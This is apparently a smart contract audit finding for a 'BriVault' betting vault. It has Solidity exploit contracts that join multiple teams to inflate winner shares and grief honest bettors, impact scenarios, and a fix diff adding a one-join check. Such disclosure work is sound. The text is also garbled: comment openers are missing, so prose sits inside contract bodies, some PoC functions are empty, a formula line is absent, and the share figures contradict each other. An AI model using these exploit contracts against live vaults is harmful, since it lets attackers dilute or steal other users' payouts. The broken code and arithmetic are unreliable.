pragma solidity ^0.8.24;
import "./BriVault.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract MultiTeamExploit {
BriVault public vault;
IERC20 public asset;
constructor(address _vault) {
vault = BriVault(_vault);
asset = IERC20(vault.asset());
}
function betOnMultipleTeams() external {
asset.approve(address(vault), 1030e6);
vault.deposit(1030e6, address(this));
vault.joinEvent(0);
vault.joinEvent(5);
vault.joinEvent(10);
}
function strategicMultiTeamBetting() external {
vault.joinEvent(0);
vault.joinEvent(1);
vault.joinEvent(2);
vault.joinEvent(3);
vault.joinEvent(4);
}
function demonstrateWinnerSharesInflation() external view {
}
function attemptWithdrawal() external {
}
}
contract EconomicImpactDemo {
Tournament Setup:
- 100 participants
- 50 bet on Brazil (50,000 USDC)
- 30 bet on Argentina (30,000 USDC)
- 20 bet on France (20,000 USDC)
- Total pool: 100,000 USDC
Exploiter Strategy:
- Deposits 10,000 USDC (one deposit)
- Joins Brazil, Argentina, France (multi-team exploit)
- Last join: France (so userToCountry = "France")
If France Wins (Normal Case):
- Total France bettors: 20 + exploiter
- France pool: 20,000 + 10,000 = 30,000 shares
- Each France bettor should get: (shares/30,000) * 100,000
- Exploiter should get: (10,000/30,000) * 100,000 = 33,333 USDC
If France Wins (With Duplicate Bug):
- Exploiter joined 3 times, appears in array 3 times
- totalWinnerShares calculated as:
- Exploiter withdraws: (10,000/50,000) * 100,000 = 20,000 USDC
- Each honest user gets: (1,000/50,000) * 100,000 = 2,000 USDC
Impact:
- Exploiter should get: 33,333 USDC
- Exploiter actually gets: 20,000 USDC
- Honest users should get: 1000 → (66,667/20) = 3,333 USDC each
- Honest users actually get: 2,000 USDC each
While exploiter loses from their own inflation, they:
1. Diluted everyone's payouts
2. Had guaranteed win potential betting on 3 teams
3. Created unfair advantage
*/
}
contract GriefingAttack {
BriVault vault;
function griefLegitimateWinners() external {
vault.deposit(100e6, address(this));
for (uint i = 0; i < 48; i++) {
vault.joinEvent(i);
}
}
}
contract PartialExploitLimitation {
The exploit is PARTIAL because:
userToCountry only stores LAST team joined.
Scenario:
- User joins: Brazil → Argentina → France
- userToCountry = "France"
- userSharesToCountry[user][0] = 1000 (Brazil)
- userSharesToCountry[user][5] = 1000 (Argentina)
- userSharesToCountry[user][10] = 1000 (France)
If Brazil wins:
- _getWinnerShares() DOES count user's 1000 shares
- totalWinnerShares includes them
- But withdraw() checks: userToCountry == "France" != "Brazil"
- User CANNOT withdraw!
- They diluted other winners but can't claim
If France wins:
- _getWinnerShares() counts user's 1000 shares
- withdraw() checks: userToCountry == "France" == "France" ✓
- User CAN withdraw!
So exploit gives:
1. Ability to bet on multiple teams
2. Can withdraw if LAST team joined wins
3. Even if can't withdraw, still griefs legitimate winners
4. Strategic: join favorites, make last join = most likely winner
*/
}
contract BriVault is ERC4626, Ownable {
+ mapping(address => bool) public hasJoinedEvent;
+ mapping(address => uint256) public userChosenTeamId;
+ error AlreadyJoined();
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
+ // Prevent multiple joins
+ if (hasJoinedEvent[msg.sender]) {
+ revert AlreadyJoined();
+ }
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
+ userChosenTeamId[msg.sender] = countryId;
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
+ hasJoinedEvent[msg.sender] = true;
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
+ // Optional: Allow team change but clear previous allocation
+ function changeTeam(uint256 newCountryId) external {
+ if (!hasJoinedEvent[msg.sender]) revert notRegistered();
+ if (block.timestamp >= eventStartDate) revert eventStarted();
+ if (newCountryId >= teams.length) revert invalidCountry();
+
+ uint256 oldTeamId = userChosenTeamId[msg.sender];
+
+ // Clear old allocation
+ userSharesToCountry[msg.sender][oldTeamId] = 0;
+
+ // Set new team
+ userToCountry[msg.sender] = teams[newCountryId];
+ userChosenTeamId[msg.sender] = newCountryId;
+ userSharesToCountry[msg.sender][newCountryId] = balanceOf(msg.sender);
+
+ emit TeamChanged(msg.sender, oldTeamId, newCountryId);
+ }
function withdraw() external winnerSet {
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}
- if (
- keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
- keccak256(abi.encodePacked(winner))
- ) {
- revert didNotWin();
- }
+ // Use integer comparison instead of expensive string comparison
+ if (userChosenTeamId[msg.sender] != winnerCountryId) {
+ revert didNotWin();
+ }
uint256 shares = balanceOf(msg.sender);
uint256 vaultAsset = finalizedVaultAsset;
uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);
_burn(msg.sender, shares);
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
emit Withdraw(msg.sender, assetToWithdraw);
}
}